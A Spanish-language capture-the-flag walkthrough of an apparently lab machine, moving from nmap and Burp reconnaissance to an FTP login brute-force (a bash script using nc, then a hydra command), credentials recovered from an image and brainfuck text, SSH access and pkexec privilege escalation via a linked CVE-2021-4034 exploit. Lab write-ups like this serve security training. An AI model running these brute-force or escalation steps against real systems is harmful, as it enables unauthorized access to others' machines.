Haremos el reconocimiento con nmap:

Empezamos analizando el puerto 80 y nos encontramos con una página de apache por defecto:

Hacemos fuzzing y nos encontramos con distintos directorios y nos encuentra assets:

Y tenemos estos archivos:

Si entramos dentro del style.css nos encontramos con que hay un link dentro:

Y nos dice que tenemos que apagar el javascript:

Por tanto procedemos a desactivar el javascript dentro de nuestro navegador; y eso lo hacemos poniendo about:config en la url:

Lo buscamos en el navegador:

Y en la parte de la derecha podemos desactivarlo:

Por tanto ahora volvemos a intentarlo y ya nos carga una web:

Y ahora podemos intentar interceptar esta petición con burpsuite para ver cómo se tramita por detrás, pero con el directorio /sup3r_s3cret_fl4g/: Y vemos que en burpsuite se nos muestra un directorio oculto:

Si buscamos por este directorio, nos encontramos con una imagen:

Nos bajamos la imagen para analizarla con un wget:

wget http://10.10.175.24/WExYY2Cv-qU/Hot_Babe.png

Y lo leemos en binario con el comando strings y nos encontramos con que en el interior nos dicen quién es el usuario por FTP, que sería ftpuser y una de las siguientes contraseñas:

Vamos filtrar las contraseñas primero mostrando las últimas 150 líneas y a continuación con nano quitamos manualmente las que correspondan para dejar solo las passwords:

Y ahora con hydra hacemos el ataque o con un script de bash:

#!/bin/bash
 
ftp_server="10.10.175.24"
ftp_user="ftpuser"
password_file="imagen"
logfile="resultados.log"
ftp_port=21
 
passwords=$(cat "$password_file")
 
for password in $passwords; do
  echo "Intentando contraseña: $password"
  output=$(echo -e "USER $ftp_user\r\nPASS $password\r\nQUIT\r\n" | nc -w 2 "$ftp_server" "$ftp_port")
 
  if echo "$output" | grep -q "230"; then
    echo "Contraseña correcta: $password"
    echo "Contraseña correcta: $password" >> "$logfile"
    exit 0
  fi
done
 
echo "No se encontró una contraseña válida"
echo "No se encontró una contraseña válida" >> "$logfile"
exit 1

Aquí entendemos cómo funciona el comando y por qué se hace un grep de 230, donde se entiende que ha sido exitoso:

E irá comprobando uno a uno, pero va a ir lento:

Si hacemos esta misma comprobación con hydra, va a ir más rápido y podemos encontrarla fácilmente y nos la encontró:

hydra -l ftpuser -P imagen ftp://10.10.175.24

Y vemos que la contraseña es 5iez1wGXKfPKQ

Y nos funciona donde vemos también un archivo con credenciales:

Y si vemos el contenido de este fichero vemos que viene encriptado en un lenguaje que según chatgpt, se llama brainfuck:

Vamos a buscar por internet alguna web para desencriptarlo y vemos que podemos obtener las credenciales de un usuario llamado Eli:

eli:DSpDiM1wAEwid

Y ahora si entramos por ssh ya estramos dentro correctamente:

Vamos a buscar la flag con el comando find, y vemos que está dentro del directorio del usuario gwendoline, pero no tenemos permisos para leerla:

Si hacemos una búsqueda de binarios, vemos que tenemos un binario de pkexec, que quizá tenga una versión vulnerable:

Por tanto vamos a buscar un exploit que pueda escalar privilegios en esta versión, donde vemos que sí:

https://github.com/mebeim/CVE-2021-4034

Seguimos las instrucciones para explotarlo, nos compartimos el exploit y ya somos root: